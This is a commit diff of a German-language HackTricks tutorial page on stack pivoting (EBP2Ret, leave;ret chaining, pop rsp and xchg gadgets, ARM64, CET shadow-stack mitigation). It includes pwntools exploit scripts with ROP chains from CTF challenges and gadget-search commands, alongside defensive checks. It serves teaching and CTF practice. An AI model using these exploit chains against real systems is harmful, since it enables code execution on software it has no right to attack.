Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:41 +00:00
parent 0faefc0874
commit 09307690f7

View File

@ -2,61 +2,65 @@
{{#include ../../banners/hacktricks-training.md}}
## Grundlegende Informationen
## Grundinformationen
Diese Technik nutzt die Fähigkeit, den **Basiszeiger (EBP)** zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der **`leave; ret`** Instruktionssequenz zu verketten.
Diese Technik nutzt die Fähigkeit, den **Basiszeiger (EBP/RBP)** zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des Rahmenzeigers und der **`leave; ret`** Instruktionssequenz zu verketten.
Zur Erinnerung, **`leave`** bedeutet im Grunde:
Zur Erinnerung: Auf x86/x86-64 ist **`leave`** gleichbedeutend mit:
```
mov ebp, esp
pop ebp
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
Und da sich das **EBP im Stack** vor dem EIP befindet, ist es möglich, es zu kontrollieren, indem man den Stack kontrolliert.
Und da das gespeicherte **EBP/RBP im Stack** vor dem gespeicherten EIP/RIP liegt, ist es möglich, es zu kontrollieren, indem man den Stack kontrolliert.
> Hinweise
> - Bei 64-Bit ersetzen Sie EBP→RBP und ESP→RSP. Die Semantik bleibt gleich.
> - Einige Compiler lassen den Frame-Pointer weg (siehe „EBP könnte nicht verwendet werden“). In diesem Fall könnte `leave` nicht erscheinen und diese Technik funktioniert nicht.
### EBP2Ret
Diese Technik ist besonders nützlich, wenn Sie **das EBP-Register ändern, aber keinen direkten Weg haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen, wenn sie die Ausführung beenden.
Diese Technik ist besonders nützlich, wenn Sie **das gespeicherte EBP/RBP ändern, aber keinen direkten Weg haben, EIP/RIP zu ändern**. Sie nutzt das Verhalten des Funktionsepilogs.
Wenn Sie während der Ausführung von `fvuln` ein **falsches EBP** in den Stack injizieren, das auf einen Bereich im Speicher zeigt, in dem sich die Adresse Ihres Shellcodes befindet (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diesen gestalteten Ort gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, **was effektiv bedeutet, dass er auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde.**\
Beachten Sie, dass Sie **2 Adressen kennen müssen**: Die, zu der der ESP gehen wird, und die, zu der Sie die Adresse schreiben müssen, auf die der ESP zeigt.
Wenn Sie während der Ausführung von `fvuln` es schaffen, ein **falsches EBP** in den Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86, um für das `pop` zu rechnen), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt `leave` RSP auf die gestaltete Adresse und das nachfolgende `pop rbp` verringert RSP, **was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde**. Dann wird `ret` diese Adresse verwenden.
Beachten Sie, dass Sie **2 Adressen wissen müssen**: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist, den `ret` konsumieren wird.
#### Exploit-Konstruktion
Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten / Adressen schreiben können**. Der ESP wird hierhin zeigen und **die erste `ret`** ausführen.
Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten/Adressen schreiben können**. RSP wird hierhin zeigen und **den ersten `ret` konsumieren**.
Dann müssen Sie die Adresse kennen, die von `ret` verwendet wird, um **beliebigen Code auszuführen**. Sie könnten verwenden:
Dann müssen Sie die Adresse wählen, die von `ret` verwendet wird, um **die Ausführung zu übertragen**. Sie könnten verwenden:
- Eine gültige [**ONE_GADGET**](https://github.com/david942j/one_gadget) Adresse.
- Die Adresse von **`system()`** gefolgt von **4 Junk-Bytes** und der Adresse von `"/bin/sh"` (x86-Bits).
- Die Adresse eines **`jump esp;`** Gadgets ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) gefolgt vom **Shellcode**, der ausgeführt werden soll.
- Eine [**ROP**](../rop-return-oriented-programing/index.html) Kette
- Die Adresse von **`system()`**, gefolgt von der entsprechenden Rückkehr und Argumenten (auf x86: `ret` Ziel = `&system`, dann 4 Junk-Bytes, dann `&"/bin/sh"`).
- Die Adresse eines **`jmp esp;`** Gadgets ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), gefolgt von Inline-Shellcode.
- Eine [**ROP**](../rop-return-oriented-programing/index.html) Kette, die im beschreibbaren Speicher gestaged ist.
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Teil des Speichers **`4` Bytes** vorhanden sein müssen, wegen des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B auszunutzen, um ein **zweites falsches EBP** zu setzen und die Ausführung weiterhin zu kontrollieren.
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Bereich **Platz für das `pop ebp/rbp`** von `leave` sein muss (8B auf amd64, 4B auf x86). Sie können diese Bytes missbrauchen, um ein **zweites falsches EBP** zu setzen und die Kontrolle nach dem ersten Rückruf zu behalten.
#### Off-By-One Exploit
Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One Exploit" bekannt ist. Sie wird verwendet, wenn Sie **nur das am wenigsten signifikante Byte des EBP** ändern können. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit dem **`ret`** gesprungen werden soll, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter restriktiveren Bedingungen ermöglicht.\
In der Regel wird das Byte 0x00 geändert, um so weit wie möglich zu springen.
Es gibt eine Variante, die verwendet wird, wenn Sie **nur das am wenigsten signifikante Byte des gespeicherten EBP/RBP ändern können**. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit **`ret`** gesprungen werden soll, die ersten drei/fünf Bytes mit dem ursprünglichen EBP/RBP teilen, damit ein 1-Byte-Überschreiben es umleiten kann. Üblicherweise wird das niedrige Byte (Offset 0x00) erhöht, um so weit wie möglich innerhalb einer nahegelegenen Seite/ausgerichteten Region zu springen.
Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass der neue ESP innerhalb des RET-SLED zeigt und die endgültige ROP-Kette ausgeführt wird.
Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP innerhalb des Sleds zeigt und die endgültige ROP-Kette ausgeführt wird.
### **EBP Chaining**
### EBP-Verkettung
Daher ist es möglich, eine kontrollierte Adresse in den `EBP`-Eintrag des Stacks zu setzen und eine Adresse zu `leave; ret` in `EIP`, um **den `ESP` zur kontrollierten `EBP`-Adresse aus dem Stack zu bewegen**.
Indem Sie eine kontrollierte Adresse im gespeicherten `EBP`-Slot des Stacks platzieren und ein `leave; ret` Gadget in `EIP/RIP`, ist es möglich, **`ESP/RSP` zu einer vom Angreifer kontrollierten Adresse zu bewegen**.
Jetzt wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, ist es möglich, an der kontrollierten ESP-Stelle Folgendes zu platzieren:
Jetzt ist `RSP` kontrolliert und die nächste Anweisung ist `ret`. Platzieren Sie im kontrollierten Speicher etwas wie:
- **`&(nächstes falsches EBP)`** -> Lädt das neue EBP wegen `pop ebp` aus der `leave`-Anweisung
- **`system()`** -> Aufgerufen von `ret`
- **`&(leave;ret)`** -> Aufgerufen, nachdem system endet, wird es den ESP zum falschen EBP bewegen und erneut starten
- **`&("/bin/sh")`**-> Parameter für `system`
- `&(nächstes falsches EBP)` -> Geladen durch `pop ebp/rbp` von `leave`.
- `&system()` -> Aufgerufen durch `ret`.
- `&(leave;ret)` -> Nachdem `system` endet, bewegt RSP zum nächsten falschen EBP und fährt fort.
- `&("/bin/sh")` -> Argument für `system`.
Grundsätzlich ist es auf diese Weise möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.
Auf diese Weise ist es möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.
Dies ist wie ein [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), aber komplexer ohne offensichtlichen Vorteil, könnte aber in einigen Randfällen interessant sein.
Das ist wie ein [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), aber komplexer und nur in Grenzfällen nützlich.
Darüber hinaus haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), die diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
Darüber hinaus haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), das diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:
```python
from pwn import *
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 Alignment-Tipp: System V ABI erfordert eine 16-Byte-Stack-Ausrichtung an Aufrufstellen. Wenn Ihre Kette Funktionen wie `system` aufruft, fügen Sie ein Ausrichtungs-Gadget hinzu (z. B. `ret` oder `sub rsp, 8 ; ret`), bevor Sie den Aufruf tätigen, um die Ausrichtung aufrechtzuerhalten und `movaps`-Abstürze zu vermeiden.
## EBP könnte nicht verwendet werden
Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binary mit einigen Optimierungen kompiliert wird, hat **EBP niemals Kontrolle über ESP**, daher wird jeder Exploit, der durch Kontrolle von EBP funktioniert, im Grunde scheitern, weil er keinen echten Effekt hat.\
Das liegt daran, dass sich die **Prolog- und Epilog-Änderungen** ändern, wenn das Binary optimiert ist.
Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binärprogramm mit einigen Optimierungen oder mit Frame-Pointer-Auslassung kompiliert wird, **kontrolliert EBP/RBP niemals ESP/RSP**. Daher wird jeder Exploit, der durch die Kontrolle von EBP/RBP funktioniert, fehlschlagen, da das Prolog/Epilog nicht vom Frame-Pointer wiederherstellt.
- **Nicht optimiert:**
- Nicht optimiert / Frame-Pointer verwendet:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optimiert:**
- Optimiert / Frame-Zeiger weggelassen:
```bash
push %ebx # save ebx
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
pop %ebx # restore
ret # return
```
Auf amd64 sieht man oft `pop rbp ; ret` anstelle von `leave ; ret`, aber wenn der Frame-Zeiger vollständig weggelassen wird, gibt es kein `rbp`-basiertes Epilog, durch das man pivotieren kann.
## Andere Möglichkeiten, RSP zu steuern
### **`pop rsp`** Gadget
### `pop rsp` Gadget
[**Auf dieser Seite**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) finden Sie ein Beispiel, das diese Technik verwendet. Für diese Herausforderung war es notwendig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein **`pop rsp` Gadget** und es gibt einen **leak vom Stack**:
[**Auf dieser Seite**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) finden Sie ein Beispiel, das diese Technik verwendet. Für diese Herausforderung war es notwendig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein **`pop rsp` Gadget** und es gibt einen **Leak vom Stack**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp Gadget
### xchg <reg>, rsp Gadget
```
pop <reg> <=== return pointer
<reg value>
@ -181,27 +188,74 @@ xchg <reg>, rsp
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Referenzen & Weitere Beispiele
### Pivot-Gadgets schnell finden
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 Bit, Off-by-One-Exploitation mit einer ROP-Kette, die mit einem Ret-Sled beginnt
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 Bit, kein RELRO, Canary, NX und PIE. Das Programm gewährt einen Leak für Stack oder PIE und ein WWW eines Qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den PIE-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge missbraucht + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
Verwenden Sie Ihren bevorzugten Gadget-Finder, um nach klassischen Pivot-Primitiven zu suchen:
- `leave ; ret` in Funktionen oder in Bibliotheken
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (oder `add esp, <imm> ; ret` auf x86)
Beispiele:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Klassisches Pivot-Staging-Muster
Eine robuste Pivot-Strategie, die in vielen CTFs/Exploits verwendet wird:
1) Verwenden Sie einen kleinen anfänglichen Overflow, um `read`/`recv` in einen großen beschreibbaren Bereich (z. B. `.bss`, Heap oder gemappeter RW-Speicher) zu rufen und dort eine vollständige ROP-Kette zu platzieren.
2) Kehren Sie in ein Pivot-Gadget zurück (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`), um RSP in diesen Bereich zu verschieben.
3) Fahren Sie mit der gestaffelten Kette fort (z. B. libc leaken, `mprotect` aufrufen, dann Shellcode lesen und dann zu ihm springen).
## Moderne Abschwächungen, die Stack-Pivoting brechen (CET/Shadow Stack)
Moderne x86-CPUs und Betriebssysteme setzen zunehmend **CET Shadow Stack (SHSTK)** ein. Mit aktiviertem SHSTK vergleicht `ret` die Rücksprungadresse auf dem normalen Stack mit einem hardwaregeschützten Shadow-Stack; jede Abweichung löst einen Control-Protection-Fehler aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-basierte Pivots abstürzen, sobald das erste `ret` von einem gepivotteten Stack ausgeführt wird.
- Für Hintergrundinformationen und tiefere Details siehe:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Schnelle Überprüfungen unter Linux:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Hinweise für Labs/CTF:
- Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binärdateien, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter `nousershstk` deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Mitigationen auf Produktionszielen.
- JOP/COOP oder SROP-basierte Techniken könnten auf einigen Zielen weiterhin möglich sein, aber SHSTK bricht speziell `ret`-basierte Pivots.
- Windows-Hinweis: Windows 10+ exponiert den Benutzermodus und Windows 11 fügt den Kernelmodus „Hardware-enforced Stack Protection“ hinzu, der auf Shadow Stacks basiert. CET-kompatible Prozesse verhindern Stack-Pivoting/ROP bei `ret`; Entwickler optieren über CETCOMPAT und verwandte Richtlinien ein (siehe Referenz).
## ARM64
In ARM64 speichern und rufen die **Prologe und Epiloge** der Funktionen **das SP-Register nicht im Stack** ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht an die Adresse zurück, die von SP gezeigt wird, sondern **an die Adresse in `x30`**.
In ARM64 speichern die **Prologe und Epiloge** der Funktionen **nicht das SP-Register** im Stack und rufen es nicht ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern **die Adresse in `x30`**.
Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, müssten Sie immer noch einen Weg finden, um **das `x30`**-Register zu kontrollieren.
Daher können Sie standardmäßig durch das Ausnutzen des Epilogs **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das **`x30`**-Register zu **kontrollieren**.
- Prolog
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP zeigt auf den Frame-Record
mov x29, sp // FP zeigt auf den Frame-Datensatz
```
- Epilog
@ -213,12 +267,23 @@ ret
```
> [!CAUTION]
> Der Weg, um etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu kontrollieren (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse vom Stack bezieht und wir einen Overflow haben) und dann **den Epilog zu missbrauchen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **dann `RET`** darauf auszuführen.
> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu **kontrollieren** (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse aus dem Stack bezieht und wir einen Überlauf haben) und dann **den Epilog auszunutzen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf auszuführen.
Auch auf der folgenden Seite können Sie das Äquivalent von **Ret2esp in ARM64** sehen:
Auch auf der folgenden Seite sehen Sie das Äquivalent von **Ret2esp in ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Referenzen
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 Bits, Off-by-One-Ausnutzung mit einer ROP-Kette, die mit einem Ret-Sled beginnt
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 Bit, kein relro, canary, nx und pie. Das Programm gewährt einen Leak für Stack oder pie und ein WWW eines Qwords. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den pie-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge ausnutzt + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch das Ausnutzen dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
- Linux-Kernel-Dokumentation: Control-flow Enforcement Technology (CET) Shadow Stack — Details zu SHSTK, `nousershstk`, `/proc/$PID/status`-Flags und Aktivierung über `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET Shadow Stacks auf Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}